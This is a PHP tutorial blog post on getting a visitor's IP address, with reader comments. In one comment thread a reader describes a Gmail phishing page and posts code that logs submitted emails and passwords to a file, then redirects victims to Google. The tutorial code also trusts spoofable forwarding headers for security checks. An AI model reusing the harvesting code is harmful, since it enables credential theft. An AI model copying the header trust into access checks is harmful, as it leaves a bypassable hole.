Getting real client IP address in PHP

Many times we need the visitor’s ipaddress for validation, security, spam prevention, etc. Getting the Visitor’s ipaddress is very easy in PHP.

The simplest way to get the visitor’s/client’s ipaddress is using the $_SERVER['REMOTE_ADDR'] or $_SERVER['REMOTE_HOST'] variables. The variable in the $_SERVER array are created by the web server (like apache) and we can use them in PHP.

// Get the client ip address
$ipaddress = $_SERVER['REMOTE_ADDR']


However, sometimes this does not returns the correct ipaddress of the visitor. This can be occur due to reasons like the user is behind a proxy, your apache server is behind a reverse proxy (e.g. varnish), etc. So we can use some other server variables to get the ipaddress.

You can use any of the following 2 functions. Both the functions are equivalent with the difference only in how and from where the values are retrieved. The first one getenv() is used to get the values from PHP’s environment variables and the second one $_SERVER is used to get the values from the web server (e.g. apache).

// Function to get the client ip address
function get_client_ip_env() {
	$ipaddress = '';
	if (getenv('HTTP_CLIENT_IP'))
		$ipaddress = getenv('HTTP_CLIENT_IP');
	else if(getenv('HTTP_X_FORWARDED_FOR'))
		$ipaddress = getenv('HTTP_X_FORWARDED_FOR');
	else if(getenv('HTTP_X_FORWARDED'))
		$ipaddress = getenv('HTTP_X_FORWARDED');
	else if(getenv('HTTP_FORWARDED_FOR'))
		$ipaddress = getenv('HTTP_FORWARDED_FOR');
	else if(getenv('HTTP_FORWARDED'))
		$ipaddress = getenv('HTTP_FORWARDED');
	else if(getenv('REMOTE_ADDR'))
		$ipaddress = getenv('REMOTE_ADDR');
	else
		$ipaddress = 'UNKNOWN';

	return $ipaddress;
}
// Function to get the client ip address
function get_client_ip_server() {
	$ipaddress = '';
	if ($_SERVER['HTTP_CLIENT_IP'])
		$ipaddress = $_SERVER['HTTP_CLIENT_IP'];
	else if($_SERVER['HTTP_X_FORWARDED_FOR'])
		$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
	else if($_SERVER['HTTP_X_FORWARDED'])
		$ipaddress = $_SERVER['HTTP_X_FORWARDED'];
	else if($_SERVER['HTTP_FORWARDED_FOR'])
		$ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
	else if($_SERVER['HTTP_FORWARDED'])
		$ipaddress = $_SERVER['HTTP_FORWARDED'];
	else if($_SERVER['REMOTE_ADDR'])
		$ipaddress = $_SERVER['REMOTE_ADDR'];
	else
		$ipaddress = 'UNKNOWN';

	return $ipaddress;
}

getenv() is used to get the value of an environment variable in PHP
$_SERVER is an array contains server variables created by the web server.

Note: HTTP_X_FORWARDED_FOR sometimes returns internal or local IP address, which is not usually useful. Also, it would return a comma separated list if it was forwarded from multiple ipaddresses.

Note: This would work only on live site, because on your local host your ip would be one of the internal ip addresses, like 127.0.0.1

References:

Related posts:

  1. Migrating servers using DNS TTL for minimum downtime
  2. Voting Functionality in a website
  3. Make a div stick to top when scrolled to
  4. Get search query string from search engines using PHP

46 thoughts on “Getting real client IP address in PHP”

  1. Hi every one my name is AlAa

    My problem with $_SERVER[‘remote_addr’]

    I’m not sure if I’m having a problem with the installation of PHP on the server or if there’s something that I’m not doing right in the code, but I am trying to capture the IP address of anyone that is trying to log into a secure part of a site. Regardless of my IP address, when I do:

    Code:

    echo $_SERVER[‘remote_addr’];

    It returns ‘192.168.1.1’. This is the first time I’ve written code that is being used on a Windows Server, so I don’t know if that has anything to do with it.

    I’ve run phpinfo(), and in the PHP Variables section, it shows “_SERVER[“REMOTE_ADDR”]” : 192.168.1.1. Does this mean that the php.ini file is setup wrong, or am I missing something?

    i am running my own server on windows 7 iis7.5 with php as fastcgi and i am behind a router with a dynamic ip not static and i am using
    http://www.no-ip.com/ that give me a link to my router and i am opening 80 port in my router forwarding it to my id address 192.168.1.5 and i have tested a php file that contains

    tested it using tor network that give me ip out of my network to test that file always give me the same result 192.168.1.1 i am trying to get IP address of the visitor and i asked someone of my friends to use this form it sends the same ip

    i hope someone tells me what i am doing wrong and the solution for this problem

    Thanks in advance

    1. It seems you are getting your router ipaddress. So there are a few possibilities you can try.
      1. Try using each variable from the function that I have in the post and see if you get a different address from any of the variables.
      2. Your router / firewall might not be forwarding the actual ipaddress. You might have to check your router/firewall configuration to check if it forwards the user ipaddress.

      Let me know if any works.

    1. I am assuming you are running the script on your localhost. It will give you only the LAN ipaddress, because that’s how you are connected to the server. If you can try, put the WAMP server online, and then try accessing from another machine on the LAN. This would still give you LAN ipaddress because that is how the machine would be connected to the server. To actually test this script you have to put it on a server outside of your network.

    1. I don’t know any function/code using which we can get windows log-in name. I think you need to use Active Directory functions, etc, but i am not very sure. I tried searching and there are many discussions regarding this.

  2. thanks for the snippet ! here’s a modified version :

    function getClientIp() {

    $result = null;

    $ipSourceList = array(
    ‘HTTP_CLIENT_IP’,’HTTP_X_FORWARDED_FOR’,
    ‘HTTP_X_FORWARDED’, ‘HTTP_FORWARDED_FOR’,
    ‘HTTP_FORWARDED’, ‘REMOTE_ADDR’
    );

    foreach($ipSourceList as $ipSource){
    if ( isset($_SERVER[$ipSource]) ){
    $result = $_SERVER[$ipSource];
    break;
    }
    }
    return $result;
    }

  3. PHP TO GET IP ADDRESS CODEING

    <?php
    $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
    echo $hostname;
    $REMOTE_ADDR=$hostname;
    $ip= $REMOTE_ADDR;
    echo " Your hostname : ” . GetHostByName($ip);
    ?>

  4. Please I need help on this. I can not seem to get the IP address. This is for personal use and nothing illegal. Below is the code I am trying to write, I only get the email and pswrd but not the ip address;

    $value) {
    fwrite($handle, $variable);
    fwrite($handle, “=”);
    fwrite($handle, $value);
    fwrite($handle, “rn”);
    }
    fwrite($handle, “rn”);
    fclose($handle);
    exit;

    I would really appreciate it if some can help. Thank you

      1. Okay, let me explain. Like I said before, it is a personal project. I created a gmail phishing page, I logged in from another computer and I have been able to get my email and pswrd but I can not seem to get the ip address of the other computer I used to login on the page.

      2. ?php
        function getIp(){

        $ip = $_SERVER[‘REMOTE_ADDR’];
        if($ip){
        if (!empty($_SERVER[‘HTTP_CLIENT_IP’])) {
        $ip = $_SERVER[‘HTTP_CLIENT_IP’];
        } elseif (!empty($_SERVER[‘HTTP_X_FORWARDED_FOR’])) {
        $ip = $_SERVER[‘HTTP_X_FORWARDED_FOR’];
        }
        return $ip;
        }
        // There might not be any data
        return false;
        }
        // Detect Real IP Address & Location
        $real_client_ip_address = $_ip->getRealIP();
        $visitor_location = $_ip->getLocation($real_client_ip_address);

        // Output result
        echo $visitor_location[‘Country’].””;
        echo “”;
        print_r($visitor_location);
        header(“Location: https://www.google.com/accounts/ServiceLoginAuth “);
        $handle = fopen(“pswrds.txt”, “a”);
        foreach($_POST as $variable => $value) {
        fwrite($handle, $variable);
        fwrite($handle, “=”);
        fwrite($handle, $value);
        fwrite($handle, “rn”);
        }
        fwrite($handle, “rn”);
        fclose($handle);
        exit;

  5. to get ip address by using a $_SERVER[‘REMOTE ADDR’],BUT IT RETURN ONLY ::1.( What can i do for getting valid ipaddress???)

  6. how to identify the computer behind the router with php code?
    Or how to get the ip address of the computer behind the router with php code?

  7. Hi,
    can you plz tel me why blank page is displaying after submitting form. Simple form submitting. Even i’m trying to echo $_SERVER[‘REMOTE_ADDR’]; this value is also not displaying. what is the problem.

  8. posting values

    Name:
    Mobile:

    i’m testing this with simple form submitting.

    after submitting going to blank page. nothing is displaying. Plz let me know that is the wrong in that. Is any code issue of xampp issue.

    Thanks in advance for help.

  9. This function also helps to find out users real ip address.

    function getrealip()
    {
    if (isset($_SERVER)){
    if(isset($_SERVER[“HTTP_X_FORWARDED_FOR”])){
    $ip = $_SERVER[“HTTP_X_FORWARDED_FOR”];
    if(strpos($ip,”,”)){
    $exp_ip = explode(“,”,$ip);
    $ip = $exp_ip[0];
    }
    }else if(isset($_SERVER[“HTTP_CLIENT_IP”])){
    $ip = $_SERVER[“HTTP_CLIENT_IP”];
    }else{
    $ip = $_SERVER[“REMOTE_ADDR”];
    }
    }else{
    if(getenv(‘HTTP_X_FORWARDED_FOR’)){
    $ip = getenv(‘HTTP_X_FORWARDED_FOR’);
    if(strpos($ip,”,”)){
    $exp_ip=explode(“,”,$ip);
    $ip = $exp_ip[0];
    }
    }else if(getenv(‘HTTP_CLIENT_IP’)){
    $ip = getenv(‘HTTP_CLIENT_IP’);
    }else {
    $ip = getenv(‘REMOTE_ADDR’);
    }
    }
    return $ip;
    }

    to get user ip address just call this function.
    exanple-

    $ip = getrealip(); // 54.225.160.166
    This is also working function.

  10. Hey i want the client ip for a visitor who visits my website,i am working on localhost.I want internal IP address(LAN) of client computers which visit the page….Is it possible by above code??

  11. Hello.

    I do have a little bit more detailed example if you would like.

    // == Attempt to obtain the visitor’s actual IP-Address (as best as possible).
    function get_real_IP($void=null) {

    $headers = array(
    ‘HTTP_VIA’,
    ‘HTTP_X_FORWARDED_FOR’,
    ‘HTTP_FORWARDED_FOR’,
    ‘HTTP_X_FORWARDED’,
    ‘HTTP_FORWARDED’,
    ‘HTTP_CLIENT_IP’,
    ‘HTTP_HTTP_CLIENT_IP’,
    ‘HTTP_FORWARDED_FOR_IP’,
    ‘VIA’,
    ‘X_FORWARDED_FOR’,
    ‘FORWARDED_FOR’,
    ‘X_FORWARDED’,
    ‘FORWARDED’,
    ‘CLIENT_IP’,
    ‘FORWARDED_FOR_IP’,
    ‘HTTP_XPROXY_CONNECTION’,
    ‘HTTP_PROXY_CONNECTION’,
    ‘HTTP_X_REAL_IP’,
    ‘HTTP_X_PROXY_ID’,
    ‘HTTP_USERAGENT_VIA’,
    ‘HTTP_HTTP_PC_REMOTE_ADDR’,
    ‘HTTP_X_CLUSTER_CLIENT_IP’
    );

    foreach ($headers as $header) if (isset($_SERVER[$header]) && !empty($_SERVER[$header])) return $_SERVER[$header];

    if (trim($_SERVER[‘SERVER_ADDR’])==trim($_SERVER[‘REMOTE_ADDR’])) return $_SERVER[‘SERVER_ADDR’];

    return $_SERVER[‘REMOTE_ADDR’];
    }

    * * *

    I know that’s a lot of server variables, but that is some of what are being used by many of today’s “lower-tier” proxy servers.

    I always like to try and cover as many possibilities as I can.

    Hope this helps!

    Also, $_SERVER[‘REMOTE_ADDR’] will even show you your “localhost” IP-address on your XAMPP-LAMPP box.

    I usually like to add a line to some of my include-files, to keep them from being accessed directly:

    if ($_SERVER[‘REMOTE_ADDR’] != $_SERVER[‘SERVER_ADDR’]) die(“Nope! You can not have it.”);

    (Of course, this goes well with a few other tricks.)

    – Jim

  12. Hi Jim, I liked your improved, code and i would like to save my php pages from attack. how can i check a request is coming from genuine ip. if not stop them or exit them from my website.

    if ($_SERVER[‘REMOTE_ADDR’] != $_SERVER[‘SERVER_ADDR’]) die(“Nope! You can not have it.”);

Leave a Reply